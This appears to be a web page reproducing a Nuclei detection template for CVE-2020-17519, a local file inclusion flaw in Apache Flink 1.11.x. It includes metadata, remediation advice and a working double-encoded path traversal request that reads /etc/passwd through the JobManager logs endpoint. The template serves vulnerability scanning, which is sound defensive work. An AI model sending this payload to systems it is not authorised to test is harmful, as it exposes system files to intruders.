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Apache Flink - Local File Inclusion

ID: CVE-2020-17519

Severity: high

Author: pdteam

Tags: cve,cve2020,apache,lfi,flink,kev

Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).

id: CVE-2020-17519
info:
name: Apache Flink - Local File Inclusion
author: pdteam
severity: high
description: Apache Flink 1.11.0 (and released in 1.11.1 and 1.11.2 as well) allows attackers to read any file on the local filesystem of the JobManager through the REST interface of the JobManager process (aka local file inclusion).
remediation: |
Apply the latest security patches or upgrade to a patched version of Apache Flink to mitigate the vulnerability.
reference:
- https://github.com/B1anda0/CVE-2020-17519
- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/r6843202556a6d0bce9607ebc02e303f68fc88e9038235598bde3b50d@%3Cuser.flink.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2020-17519
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-17519
cwe-id: CWE-552
epss-score: 0.97141
epss-percentile: 0.99802
cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: apache
product: flink
tags: cve,cve2020,apache,lfi,flink,kev
http:
- method: GET
path:
- "{{BaseURL}}/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100b9aa691dfa5fdd4aaad9dba149287ea23b16730479c6daa413d7f9bd287ccfd602205546c9972ed3829f33a23a7070441ea7b138154163702789740f517902ded8f0:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-17519.yaml"

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